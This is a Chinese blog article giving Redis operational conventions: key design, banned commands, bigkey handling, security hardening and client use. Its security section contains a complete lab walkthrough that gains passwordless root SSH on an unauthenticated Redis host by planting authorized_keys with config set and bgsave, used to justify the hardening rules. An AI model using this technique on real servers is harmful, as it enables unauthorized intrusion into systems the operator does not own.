作者简介
马听,多年 DBA 实战经验,对 MySQL、 Redis、ClickHouse 等数据库有一定了解,专栏《一线数据库工程师带你深入理解 MySQL》作者。
审稿人
无为,前饿了么 MySQL DBA,现就职于某知名互联网公司,对 MySQL、 Redis、PostgrepSQL 等主流数据库有一定了解,拥有丰富的一线运维经验。
这是专栏《Redis 运维实战》的最后一篇,感谢您的阅读。也感谢 9 篇文章的审稿人:无为,提出了多个修改建议,让文章内容更全面。
由于能力有限,系列文章难免会存在错误或者遗漏,如果您有任何建议,可以在对应的文章下留言或者私信给“悦专栏”公众号,我们会第一时间进行反馈。
下面进入今天的内容:Redis 规范。
1 键值设计
1.1 key 名设计
建议 key name 设计:业务名:表名:id
比如:
代码语言:javascript复制school:student:1
要求:不包含特殊字符
1.2 value 设计
string 类型控制在 10 KB 以内,hash、list、set、zset 元素个数不要超过 5000。
因为 Bigkey 存在一些危害:
- 由于 Redis 单线程特性,Bigkey 可能会导致超时阻塞。
- 每次获取 Bigkey 产生的网络流量较大,可能会导致网络阻塞。
- 如果是 Redis Cluster,可能会导致内存空间分布不均匀。
1.3 控制 key 的生命周期
建议使用 expire 设置 key 的过期时间,防止 Redis 中残留大量的废弃数据,Redis 不是垃圾桶,内存很贵滴。
2 命令规范
2.1 禁止使用的命令
代码语言:javascript复制keys
flushall
flushdb
等等。
2.2 适量获取
例如 hgetall、lrange、smembers、zrange、sinter 需要设置范围,以保证每次获取少量的元素。如果有遍历所有元素的需求,可以使用 hscan、sscan、zscan 代替。
2.3 使用批量命令提高效率
比如:mget、mset(需要注意的是可能有些分布式集群不支持),或者使用 pipeline。
2.4 不建议使用 Redis 事务
因为 Redis 事务不支持回滚,而且集群版本要求一个事务操作的 key 必须在一个 slot 上。
2.5 monitor 命令
monitor 命令不建议使用过久,如果需要确定 hotkey,可运行 1s,一般就可看到哪些是 hotkey 了。
2.6 bigkey 删除
如果 key 类型为 string,则直接删除;
如果 key 类型为 hash、list、set、sorted set,使用 hscan 命令,每次获取部分(例如 100个)field-value,再利用 hdel 删除每个 field;
Redis 在 4.0 版本支持 lazy delete free 的模式,删除 bigkey 不会阻塞 Redis。
2.7 集群模式禁止使用发布订阅
在目前集群模式中使用发布订阅, 节点会将接收到的信息广播至集群中的其他所有节点,可能会导致网络问题,因此不建议使用。
3 安全相关
在讲解 Redis 安全规范前,我们先来做一个通过 Redis 攻破远程服务器的实验:
首先我在 A 机器(CentOS 7.4,IP 为:192.168.150.253)以 root 用户运行了一个 Redis 实例(Redis 版本:6.0.8)
在 B 机器(CentOS 7.4,IP 为:192.168.150.232)执行:
代码语言:javascript复制ssh 192.168.150.253
发现需要输入密码才能连接
将 B 机器的公钥(如果没公钥,则自行生成一个)格式化写入 foo.txt
代码语言:javascript复制(echo -e "nn"; cat ~/.ssh/id_rsa.pub;echo -e "nn") > foo.txt
执行下面的命令,将 foo.txt 的内容做为键 aaa 的 value:
代码语言:javascript复制cat foo.txt |redis-cli -h 192.168.150.253 -x set aaa
在 B 机器连接 A 机器部署的 Redis
代码语言:javascript复制redis-cli -h 192.168.150.253
执行下面命令,改变 Redis 的数据目录为 /root/.ssh
代码语言:javascript复制config set dir /root/.ssh
执行下面命令,设置 Redis 的 RDB 文件名为 authorized_keys
代码语言:javascript复制config set dbfilename "authorized_keys"
然后执行落盘命令
代码语言:javascript复制bgsave
最后在 B 机器尝试连接 A 机器
代码语言:javascript复制ssh 192.168.150.253
发现竟然成功免密登录了 A 机器,因此说明利用 Redis 这个漏洞植入公钥成功。
总结上面的步骤,发现 A 机器上部署的 Redis 存在至少 3 个问题:
- 使用 root 用户运行 Redis
- Redis 使用了默认端口
- Redis 未设置密码
因此,对于 Redis 安全相关,建议规范如下:
3.1 禁止 root 用户启动 Redis
上面的实验正是利用 root 用户启动的特性来重置的 authorized_keys,如果是普通用户,则无权限重置 authorized_keys。
3.2 避免使用默认端口
默认端口被扫描的概率非常高,因此换成其他端口可以降低被扫描登录的风险
3.3 Redis 不开放外网
Redis 如果开放外网,大大增加了被攻击的概率,正如上面实验,如果开放外网,并且使用了默认端口,也没设置密码,那攻击者可以轻而易举的登录上服务器。
3.4 设置密码认证
如上面的实验,如果设置了密码,那攻击者在登录 Redis 这一步就被挡了,那也就重置不了 authorized_keys 文件。因此也建议对 Redis 设置密码。
4 客户端使用
4.1 禁止多个应用使用一套 Redis 实例
多个应用使用一套 Redis 实例,可能会出现性能互相影响的情况,甚至可能发生 key name 冲突。
4.2 冷热数据区分
将冷热数据分开存储,比如将低频数据放在 MySQL 或者其他数据库中,Redis 中存放热数据。毕竟内存比磁盘贵。
4.3 连接池
频繁创建和销毁连接,会浪费大量资源。因此可以合理使用连接池,防止频繁创建和销毁连接。
专栏《Redis 运维实战》系列文章推荐
Redis 运维实战 第01期:Redis 复制
Redis 运维实战 第02期:Redis Cluster
Redis 运维实战 第03期:Codis
Redis 运维实战 第04期:AOF 持久化
Redis 运维实战 第05期:RDB 持久化
Redis 运维实战 第06期:Bigkey
Redis 运维实战 第07期:Hotkey
Redis 运维实战 第08期:监控
Redis 运维实战 第09期:Redis 规范